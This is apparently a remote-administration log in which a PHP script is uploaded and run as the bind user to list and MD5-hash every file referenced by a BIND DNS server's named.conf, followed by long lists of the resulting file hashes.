MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:50:38: Establishing a connection
2026-04-25 18:50:38: 

PUT: /tmp/pkp168582

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:50:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp168582; rm /tmp/pkp168582'

2026-04-25 18:50:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
